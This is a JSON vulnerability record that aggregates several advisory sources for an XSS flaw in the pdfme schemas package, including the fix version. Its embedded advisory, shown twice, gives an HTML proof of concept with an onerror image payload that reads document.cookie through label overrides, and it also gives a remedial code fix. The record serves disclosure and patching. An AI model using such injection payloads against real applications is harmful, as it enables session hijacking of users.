{"id":"CVE-2026-82865","aliases":["EUVD-2026-68400","GHSA-v7hf-w8f6-4v98","GHSA-xgx4-2wgv-4jhm"],"status":"published","title":"pdfme schemas before 5.5.10 Cross-Site Scripting via i18n Label","description":"pdfme schemas before 5.5.10 contains a cross-site scripting vulnerability in the multiVariableText property panel that assigns unsanitized i18n label values to innerHTML. Attackers who control label overrides through options.labels can inject arbitrary JavaScript that executes when users open the Designer and select a multiVariableText field without variable placeholders.","severity":{"version":"4.0","score":2.1,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N","level":"low","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00203,"percentile":0.10387,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-79"],"published":"2026-03-20T20:45:08Z","modified":"2026-10-28T02:31:12Z","fixes":[{"ecosystem":"npm","package":"@pdfme/schemas","fixed_in":["5.5.10"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"@pdfme/schemas","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"5.5.9"},{"fixed":"5.5.10"}]}]},{"source":"osv","ecosystem":"npm","package":"@pdfme/schemas","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"5.5.10"}]}]}],"products":[{"vendor":"pdfme","product":"schemas"}],"references":[{"url":"https://github.com/pdfme/pdfme/security/advisories/GHSA-xgx4-2wgv-4jhm","tags":["vendor-advisory","exploit","advisory","web"]},{"url":"https://www.vulncheck.com/advisories/pdfme-schemas-before-5.5.10-cross-site-scripting-via-i18n-label","tags":["third-party-advisory","advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-82865","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-v7hf-w8f6-4v98"},{"url":"https://github.com/advisories/GHSA-xgx4-2wgv-4jhm"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/82xxx/CVE-2026-82865.json","tags":["advisory"]},{"url":"https://github.com/pdfme/pdfme","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-82865","title":"pdfme schemas before 5.5.10 Cross-Site Scripting via i18n Label","description":"pdfme schemas before 5.5.10 contains a cross-site scripting vulnerability in the multiVariableText property panel that assigns unsanitized i18n label values to innerHTML. Attackers who control label overrides through options.labels can inject arbitrary JavaScript that executes when users open the Designer and select a multiVariableText field without variable placeholders.","status":"published","published":"2026-08-31T08:46:35.945Z","modified":"2026-10-08T15:25:39.921Z","cvss":[{"version":"4.0","score":2.1,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N","level":"low","assessor":"cna"},{"version":"3.1","score":4.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T13:40:46.161838Z"}],"euvd":[{"id":"EUVD-2026-68400","description":"pdfme schemas before 5.5.10 contains a cross-site scripting vulnerability in the multiVariableText property panel that assigns unsanitized i18n label values to innerHTML. Attackers who control label overrides through options.labels can inject arbitrary JavaScript that executes when users open the Designer and select a multiVariableText field without variable placeholders.","status":"published","published":"2026-08-31T08:46:35Z","modified":"2026-10-08T15:25:39Z","cvss":[{"version":"4.0","score":2.1,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N","level":"low"}],"updated_at":"2026-11-02T17:27:28.564399Z"}],"ghsa":[{"id":"GHSA-v7hf-w8f6-4v98","title":"pdfme schemas before 5.5.10 contains a cross-site scripting vulnerability in the...","description":"pdfme schemas before 5.5.10 contains a cross-site scripting vulnerability in the multiVariableText property panel that assigns unsanitized i18n label values to innerHTML. Attackers who control label overrides through options.labels can inject arbitrary JavaScript that executes when users open the Designer and select a multiVariableText field without variable placeholders.","status":"published","published":"2026-08-31T09:30:32Z","modified":"2026-08-31T09:30:39Z","cvss":[{"version":"4.0","score":2.1,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"low"},{"version":"3.1","score":4.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:11:10.774419Z"},{"id":"GHSA-xgx4-2wgv-4jhm","title":"PDFME  has XSS via Unsanitized i18n Label Injection into innerHTML in multiVariableText propPanel","description":"## Summary\n\nThe multiVariableText property panel in `@pdfme/schemas` constructs HTML via string concatenation and assigns it to `innerHTML` using unsanitized i18n label values. An attacker who can control label overrides passed through `options.labels` can inject arbitrary JavaScript that executes in the context of any user who opens the Designer and selects a multiVariableText field with no `{variables}` in its text.\n\n## Details\n\nWhen a user selects a multiVariableText schema field that contains no `{variable}` placeholders, the property panel renders instructional text by concatenating i18n-translated strings directly into `innerHTML`.\n\n**Vulnerable sink** — `packages/schemas/src/multiVariableText/propPanel.ts:65-71`:\n\n```typescript\n// Use safe string concatenation for innerHTML\nconst typingInstructions = i18n('schemas.mvt.typingInstructions');\nconst sampleField = i18n('schemas.mvt.sampleField');\npara.innerHTML =\n  typingInstructions +\n  ` \u003ccode style=\"color:${safeColorValue}; font-weight:bold;\"\u003e{` +\n  sampleField +\n  '}\u003c/code\u003e';\n```\n\nThe comment on line 64 claims \"safe string concatenation\" but the result is assigned to `innerHTML` with no HTML escaping applied to `typingInstructions` or `sampleField`.\n\n**i18n lookup has no escaping** — `packages/ui/src/i18n.ts:903`:\n\n```typescript\nexport const i18n = (key: keyof Dict, dict?: Dict) =\u003e (dict || getDict(DEFAULT_LANG))[key];\n```\n\nThis is a plain dictionary lookup — no HTML encoding or sanitization.\n\n**Label override via deep merge** — `packages/ui/src/components/AppContextProvider.tsx:57-63`:\n\n```typescript\nlet dict = getDict(lang);\nif (options.labels) {\n  dict = deepMerge(\n    dict as unknown as Record\u003cstring, unknown\u003e,\n    options.labels as unknown as Record\u003cstring, unknown\u003e,\n  ) as typeof dict;\n}\n```\n\nUser-supplied `options.labels` values are deep-merged into the i18n dictionary with no content sanitization. The Zod schema validates labels as `z.record(z.string(), z.string())` — enforcing type but not content safety.\n\n**Inconsistency:** The color value on lines 58-62 is explicitly validated with a regex allowlist, demonstrating security awareness. The i18n string values were simply overlooked.\n\n## PoC\n\n1. **Create a minimal app that passes attacker-controlled labels:**\n\n```html\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cdiv id=\"designer-container\" style=\"width:100%;height:700px;\"\u003e\u003c/div\u003e\n\u003cscript type=\"module\"\u003e\nimport { Designer } from '@pdfme/ui';\nimport { multiVariableText } from '@pdfme/schemas';\n\nconst template = {\n  basePdf: { width: 210, height: 297, padding: [10, 10, 10, 10] },\n  schemas: [[{\n    type: 'multiVariableText',\n    name: 'field1',\n    text: 'plain text with no variables',\n    content: '{}',\n    variables: [],\n    position: { x: 20, y: 20 },\n    width: 100,\n    height: 20,\n    readOnly: true,\n  }]],\n};\n\nnew Designer({\n  domContainer: document.getElementById('designer-container'),\n  template,\n  plugins: { multiVariableText },\n  options: {\n    labels: {\n      'schemas.mvt.typingInstructions':\n        '\u003cimg src=x onerror=\"document.title=document.cookie\"\u003eInject: ',\n      'schemas.mvt.sampleField': 'safe',\n    },\n  },\n});\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n2. **Open the application in a browser.**\n\n3. **Click on the multiVariableText field** (`field1`) in the Designer canvas to select it.\n\n4. **Observe:** The property panel renders the injected HTML. The `onerror` handler executes, setting `document.title` to the page's cookies. In a real attack, this would exfiltrate session tokens to an attacker-controlled server.\n\n## Impact\n\n- **Session hijacking:** Attacker-injected JavaScript can steal authentication cookies and tokens from any user who opens the Designer.\n- **DOM manipulation:** The injected script runs in the application's origin, allowing phishing overlays, form hijacking, or data exfiltration.\n- **Stored XSS potential:** In multi-tenant applications where labels are stored in a database or fetched from an API, a single poisoned label entry affects all users who subsequently open the Designer.\n- **Scope change:** The XSS payload executes in the embedding application's browser context, escaping the pdfme component's security boundary.\n\n## Recommended Fix\n\nReplace `innerHTML` with safe DOM APIs in `packages/schemas/src/multiVariableText/propPanel.ts`:\n\n```typescript\n// BEFORE (vulnerable):\npara.innerHTML =\n  typingInstructions +\n  ` \u003ccode style=\"color:${safeColorValue}; font-weight:bold;\"\u003e{` +\n  sampleField +\n  '}\u003c/code\u003e';\n\n// AFTER (safe):\npara.appendChild(document.createTextNode(typingInstructions + ' '));\nconst codeEl = document.createElement('code');\ncodeEl.style.color = safeColorValue;\ncodeEl.style.fontWeight = 'bold';\ncodeEl.textContent = `{${sampleField}}`;\npara.appendChild(codeEl);\n```\n\nThis ensures that i18n label values are always treated as text content, never parsed as HTML, regardless of their source.","status":"published","published":"2026-03-20T20:45:08Z","modified":"2026-03-20T20:45:09Z","cvss":[{"version":"3.1","score":4.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:39:39.567266Z"}],"nvd":[{"id":"CVE-2026-82865","description":"pdfme schemas before 5.5.10 contains a cross-site scripting vulnerability in the multiVariableText property panel that assigns unsanitized i18n label values to innerHTML. Attackers who control label overrides through options.labels can inject arbitrary JavaScript that executes when users open the Designer and select a multiVariableText field without variable placeholders.","status":"published","published":"2026-08-31T09:17:07.11Z","modified":"2026-10-08T16:17:53.693Z","cvss":[{"version":"4.0","score":2.1,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"low","assessor":"secondary"},{"version":"3.1","score":4.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:12:42.691315Z"}],"osv":[{"id":"CVE-2026-82865","title":"pdfme schemas before 5.5.10 Cross-Site Scripting via i18n Label","description":"pdfme schemas before 5.5.10 contains a cross-site scripting vulnerability in the multiVariableText property panel that assigns unsanitized i18n label values to innerHTML. Attackers who control label overrides through options.labels can inject arbitrary JavaScript that executes when users open the Designer and select a multiVariableText field without variable placeholders.","status":"published","published":"2026-08-31T08:46:35.945Z","modified":"2026-10-28T02:31:12.28667934Z","cvss":[{"version":"4.0","score":2.1,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N","level":"low"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:45:18.482949Z"},{"id":"GHSA-xgx4-2wgv-4jhm","title":"PDFME  has XSS via Unsanitized i18n Label Injection into innerHTML in multiVariableText propPanel","description":"## Summary\n\nThe multiVariableText property panel in `@pdfme/schemas` constructs HTML via string concatenation and assigns it to `innerHTML` using unsanitized i18n label values. An attacker who can control label overrides passed through `options.labels` can inject arbitrary JavaScript that executes in the context of any user who opens the Designer and selects a multiVariableText field with no `{variables}` in its text.\n\n## Details\n\nWhen a user selects a multiVariableText schema field that contains no `{variable}` placeholders, the property panel renders instructional text by concatenating i18n-translated strings directly into `innerHTML`.\n\n**Vulnerable sink** — `packages/schemas/src/multiVariableText/propPanel.ts:65-71`:\n\n```typescript\n// Use safe string concatenation for innerHTML\nconst typingInstructions = i18n('schemas.mvt.typingInstructions');\nconst sampleField = i18n('schemas.mvt.sampleField');\npara.innerHTML =\n  typingInstructions +\n  ` \u003ccode style=\"color:${safeColorValue}; font-weight:bold;\"\u003e{` +\n  sampleField +\n  '}\u003c/code\u003e';\n```\n\nThe comment on line 64 claims \"safe string concatenation\" but the result is assigned to `innerHTML` with no HTML escaping applied to `typingInstructions` or `sampleField`.\n\n**i18n lookup has no escaping** — `packages/ui/src/i18n.ts:903`:\n\n```typescript\nexport const i18n = (key: keyof Dict, dict?: Dict) =\u003e (dict || getDict(DEFAULT_LANG))[key];\n```\n\nThis is a plain dictionary lookup — no HTML encoding or sanitization.\n\n**Label override via deep merge** — `packages/ui/src/components/AppContextProvider.tsx:57-63`:\n\n```typescript\nlet dict = getDict(lang);\nif (options.labels) {\n  dict = deepMerge(\n    dict as unknown as Record\u003cstring, unknown\u003e,\n    options.labels as unknown as Record\u003cstring, unknown\u003e,\n  ) as typeof dict;\n}\n```\n\nUser-supplied `options.labels` values are deep-merged into the i18n dictionary with no content sanitization. The Zod schema validates labels as `z.record(z.string(), z.string())` — enforcing type but not content safety.\n\n**Inconsistency:** The color value on lines 58-62 is explicitly validated with a regex allowlist, demonstrating security awareness. The i18n string values were simply overlooked.\n\n## PoC\n\n1. **Create a minimal app that passes attacker-controlled labels:**\n\n```html\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cdiv id=\"designer-container\" style=\"width:100%;height:700px;\"\u003e\u003c/div\u003e\n\u003cscript type=\"module\"\u003e\nimport { Designer } from '@pdfme/ui';\nimport { multiVariableText } from '@pdfme/schemas';\n\nconst template = {\n  basePdf: { width: 210, height: 297, padding: [10, 10, 10, 10] },\n  schemas: [[{\n    type: 'multiVariableText',\n    name: 'field1',\n    text: 'plain text with no variables',\n    content: '{}',\n    variables: [],\n    position: { x: 20, y: 20 },\n    width: 100,\n    height: 20,\n    readOnly: true,\n  }]],\n};\n\nnew Designer({\n  domContainer: document.getElementById('designer-container'),\n  template,\n  plugins: { multiVariableText },\n  options: {\n    labels: {\n      'schemas.mvt.typingInstructions':\n        '\u003cimg src=x onerror=\"document.title=document.cookie\"\u003eInject: ',\n      'schemas.mvt.sampleField': 'safe',\n    },\n  },\n});\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n2. **Open the application in a browser.**\n\n3. **Click on the multiVariableText field** (`field1`) in the Designer canvas to select it.\n\n4. **Observe:** The property panel renders the injected HTML. The `onerror` handler executes, setting `document.title` to the page's cookies. In a real attack, this would exfiltrate session tokens to an attacker-controlled server.\n\n## Impact\n\n- **Session hijacking:** Attacker-injected JavaScript can steal authentication cookies and tokens from any user who opens the Designer.\n- **DOM manipulation:** The injected script runs in the application's origin, allowing phishing overlays, form hijacking, or data exfiltration.\n- **Stored XSS potential:** In multi-tenant applications where labels are stored in a database or fetched from an API, a single poisoned label entry affects all users who subsequently open the Designer.\n- **Scope change:** The XSS payload executes in the embedding application's browser context, escaping the pdfme component's security boundary.\n\n## Recommended Fix\n\nReplace `innerHTML` with safe DOM APIs in `packages/schemas/src/multiVariableText/propPanel.ts`:\n\n```typescript\n// BEFORE (vulnerable):\npara.innerHTML =\n  typingInstructions +\n  ` \u003ccode style=\"color:${safeColorValue}; font-weight:bold;\"\u003e{` +\n  sampleField +\n  '}\u003c/code\u003e';\n\n// AFTER (safe):\npara.appendChild(document.createTextNode(typingInstructions + ' '));\nconst codeEl = document.createElement('code');\ncodeEl.style.color = safeColorValue;\ncodeEl.style.fontWeight = 'bold';\ncodeEl.textContent = `{${sampleField}}`;\npara.appendChild(codeEl);\n```\n\nThis ensures that i18n label values are always treated as text content, never parsed as HTML, regardless of their source.","status":"published","published":"2026-03-20T20:45:08Z","modified":"2026-09-01T03:55:42.931305825Z","cvss":[{"version":"3.1","score":4.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:59.835583Z"}]}}